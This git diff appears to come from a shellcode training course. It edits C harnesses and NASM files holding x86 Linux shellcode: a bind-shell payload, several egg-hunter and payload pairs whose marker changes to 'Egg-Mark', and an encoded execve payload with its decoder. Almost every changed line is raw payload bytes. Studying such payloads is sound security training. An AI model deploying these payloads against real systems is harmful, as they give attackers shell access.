diff --git a/exam1/shellcode.c b/exam1/shellcode.c index 58a3743..7ba8ba3 100644 --- a/exam1/shellcode.c +++ b/exam1/shellcode.c @@ -1,7 +1,7 @@ #include #include -unsigned char code[] = "\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80"; +unsigned char code[] = "\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xeb\x6d\x5f\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x31\xd2\x52\x66\xff\x37\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xd2\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80\xe8\x8e\xff\xff\xff\xc3\xcb"; main() { diff --git a/exam3/access-noloop/shellcode.c b/exam3/access-noloop/shellcode.c index d205ccf..68816d8 100644 --- a/exam3/access-noloop/shellcode.c +++ b/exam3/access-noloop/shellcode.c @@ -1,11 +1,11 @@ #include #include -unsigned char hunter[] = "\x55\x89\xe5\x60\x9c\x68\xff\xef\xff\x0f\x5e\x46\x31\xd2\x39\xf2\x74\x2a\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x08\x31\xc9\xcd\x80\x3c\xf2\x74\xe8\x81\x3a\x48\x65\x72\x65\x75\xe9\x81\x7a\x04\x49\x74\x49\x73\x75\xe0\x8d\x4a\x08\xff\xe1\x9d\x61\x89\xec\x5d\xc3"; +unsigned char hunter[] = "\x55\x89\xe5\x60\x9c\x68\xff\xef\xff\x0f\x5e\x46\x31\xd2\x39\xf2\x74\x2a\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x08\x31\xc9\xcd\x80\x3c\xf2\x74\xe8\x81\x3a\x45\x67\x67\x2d\x75\xe9\x81\x7a\x04\x4d\x61\x72\x6b\x75\xe0\x8d\x4a\x08\xff\xe1\x9d\x61\x89\xec\x5d\xc3"; unsigned char garbage1[] = "Just some garbage here..."; -unsigned char payload[] = "\x12\x65\x72\x65\x49\x74\x49\x73\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80"; +unsigned char payload[] = "\x45\x67\x67\x2d\x4d\x61\x72\x6b\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80"; unsigned char garbage2[] = "And some garbage there..."; diff --git a/exam3/access-scasd-noloop/shellcode.c b/exam3/access-scasd-noloop/shellcode.c index 343e1fd..f765702 100644 --- a/exam3/access-scasd-noloop/shellcode.c +++ b/exam3/access-scasd-noloop/shellcode.c @@ -1,11 +1,11 @@ #include #include -unsigned char hunter[] = "\x55\x89\xe5\x60\x9c\x68\xff\xef\xff\x0f\x5e\x46\xfc\x31\xd2\x39\xf2\x74\x2b\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x04\x31\xc9\xcd\x80\x3c\xf2\x74\xe8\xb8\x48\x65\x72\x65\x89\xd7\xaf\x75\xe7\xb8\x49\x74\x49\x73\x8d\x7a\x04\xaf\x75\xdc\xff\xe7\x9d\x61\x89\xec\x5d\xc3"; +unsigned char hunter[] = "\x55\x89\xe5\x60\x9c\x68\xff\xef\xff\x0f\x5e\x46\xfc\x31\xd2\x39\xf2\x74\x2b\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x04\x31\xc9\xcd\x80\x3c\xf2\x74\xe8\xb8\x45\x67\x67\x2d\x89\xd7\xaf\x75\xe7\xb8\x4d\x61\x72\x6b\x8d\x7a\x04\xaf\x75\xdc\xff\xe7\x9d\x61\x89\xec\x5d\xc3"; unsigned char garbage1[] = "Just some garbage here..."; -unsigned char payload[] = "\x48\x65\x72\x65\x49\x74\x49\x73\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80"; +unsigned char payload[] = "\x45\x67\x67\x2d\x4d\x61\x72\x6b\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80"; unsigned char garbage2[] = "And some garbage there..."; diff --git a/exam3/access-scasd/shellcode.c b/exam3/access-scasd/shellcode.c index e0102bc..63fe952 100644 --- a/exam3/access-scasd/shellcode.c +++ b/exam3/access-scasd/shellcode.c @@ -1,11 +1,11 @@ #include #include -unsigned char hunter[] = "\xfc\x31\xd2\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x04\x31\xc9\xcd\x80\x3c\xf2\x74\xec\xb8\x48\x65\x72\x65\x89\xd7\xaf\x75\xe7\xb8\x49\x74\x49\x73\x8d\x7a\x04\xaf\x75\xdc\xff\xe7"; +unsigned char hunter[] = "\xfc\x31\xd2\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x04\x31\xc9\xcd\x80\x3c\xf2\x74\xec\xb8\x45\x67\x67\x2d\x89\xd7\xaf\x75\xe7\xb8\x4d\x61\x72\x6b\x8d\x7a\x04\xaf\x75\xdc\xff\xe7"; unsigned char garbage1[] = "Just some garbage here..."; -unsigned char payload[] = "\x48\x65\x72\x65\x49\x74\x49\x73\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80"; +unsigned char payload[] = "\x45\x67\x67\x2d\x4d\x61\x72\x6b\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80"; unsigned char garbage2[] = "And some garbage there..."; diff --git a/exam3/access/shellcode.c b/exam3/access/shellcode.c index de0a7a1..411996b 100644 --- a/exam3/access/shellcode.c +++ b/exam3/access/shellcode.c @@ -1,11 +1,11 @@ #include #include -unsigned char hunter[] = "\x31\xd2\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x08\x31\xc9\xcd\x80\x3c\xf2\x74\xec\x81\x3a\x48\x65\x72\x65\x75\xe9\x81\x7a\x04\x49\x74\x49\x73\x75\xe0\x8d\x4a\x08\xff\xe1"; +unsigned char hunter[] = "\x31\xd2\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x08\x31\xc9\xcd\x80\x3c\xf2\x74\xec\x81\x3a\x45\x67\x67\x2d\x75\xe9\x81\x7a\x04\x4d\x61\x72\x6b\x75\xe0\x8d\x4a\x08\xff\xe1"; unsigned char garbage1[] = "Just some garbage here..."; -unsigned char payload[] = "\x48\x65\x72\x65\x49\x74\x49\x73\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80"; +unsigned char payload[] = "\x45\x67\x67\x2d\x4d\x61\x72\x6b\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80"; unsigned char garbage2[] = "And some garbage there..."; diff --git a/exam3/basic/shellcode b/exam3/basic/shellcode deleted file mode 100755 index bb8215c..0000000 Binary files a/exam3/basic/shellcode and /dev/null differ diff --git a/exam3/basic/shellcode.c b/exam3/basic/shellcode.c index feaf2d7..0cbd41f 100644 --- a/exam3/basic/shellcode.c +++ b/exam3/basic/shellcode.c @@ -1,11 +1,11 @@ #include #include -unsigned char hunter[] = "\x40\x81\x78\xf8\x65\x67\x67\x2e\x75\xf6\x81\x78\xfc\x4d\x61\x52\x6b\x75\xed\xff\xd0"; +unsigned char hunter[] = "\x40\x81\x78\xf8\x45\x67\x67\x2d\x75\xf6\x81\x78\xfc\x4d\x61\x72\x6b\x75\xed\xff\xd0"; unsigned char garbage1[] = "Just some garbage here..."; -unsigned char payload[] = "\x65\x67\x67\x2e\x4d\x61\x52\x6b\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80"; +unsigned char payload[] = "\x45\x67\x67\x2d\x4d\x61\x72\x6b\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80"; unsigned char garbage2[] = "And some garbage there..."; diff --git a/exam4/decoder.nasm b/exam4/decoder.nasm index 376912d..6baa47b 100644 --- a/exam4/decoder.nasm +++ b/exam4/decoder.nasm @@ -52,16 +52,16 @@ _decoder: je short _runshellcode ; if we reach the exit marker, then we run the shellcode ; - ; Collecting decoded shellcode in the EDX address + ; Collecting decoded shellcode in the ESP address ; - mov byte [edx+ecx], al ; moving good byte to EDX + mov byte [esp+ecx], al ; moving good byte to ESP inc ecx ; increase the counter jmp short _decoder ; continuing _runshellcode: - call edx + call esp _down: call _up ; ESP now has an address that points to the next instruction, however we are going UP diff --git a/exam4/shellcode b/exam4/shellcode deleted file mode 100755 index 670ace7..0000000 Binary files a/exam4/shellcode and /dev/null differ diff --git a/exam4/shellcode.c b/exam4/shellcode.c index 6e7c300..39677fe 100644 --- a/exam4/shellcode.c +++ b/exam4/shellcode.c @@ -1,7 +1,7 @@ #include #include -unsigned char code[] = "\xeb\x22\x5e\x31\xc9\x8a\x06\x46\x3c\x37\x74\xf9\x3c\xfa\x74\xf5\x3c\xd6\x74\xf1\x3c\x3f\x74\xed\x3c\xaf\x74\x06\x88\x04\x0a\x41\xeb\xe3\xff\xd2\xe8\xd9\xff\xff\xff\x31\xD6\xc0\xFA\xb0\xD6\x0b\x37\x31\x37\xd2\xD6\x52\x37\x68\xD6\x6e\xFA\x2f\x37\x73\x37\x68\xD6\x68\xD6\x2f\xFA\x2f\x37\x62\x37\x69\xFA\x89\xD6\xe3\xFA\x52\x3F\x53\xFA\x89\xD6\xe1\xD6\x52\x3F\x89\xFA\xe2\x37\xcd\xFA\x80\xFA\x31\xD6\xc0\x3F\xb0\xD6\x01\xFA\x31\x3F\xdb\x37\xcd\xFA\x80\x3F\xAF"; +unsigned char code[] = "\xeb\x22\x5e\x31\xc9\x8a\x06\x46\x3c\x37\x74\xf9\x3c\xfa\x74\xf5\x3c\xd6\x74\xf1\x3c\x3f\x74\xed\x3c\xaf\x74\x06\x88\x04\x0c\x41\xeb\xe3\xff\xd4\xe8\xd9\xff\xff\xff\x31\xFA\xc0\x3F\xb0\xFA\x0b\xFA\x31\xFA\xd2\xFA\x52\xD6\x68\xD6\x6e\xFA\x2f\x37\x73\xD6\x68\x3F\x68\x37\x2f\x3F\x2f\x3F\x62\x37\x69\xD6\x89\x37\xe3\xFA\x52\xD6\x53\xD6\x89\xFA\xe1\xD6\x52\xD6\x89\x37\xe2\xFA\xcd\xFA\x80\x37\x31\xFA\xc0\x37\xb0\xD6\x01\xD6\x31\x3F\xdb\x3F\xcd\x3F\x80\x37\xAF"; main() { diff --git a/exam6/helloworld.o b/exam6/helloworld.o deleted file mode 100644 index f4d170b..0000000 Binary files a/exam6/helloworld.o and /dev/null differ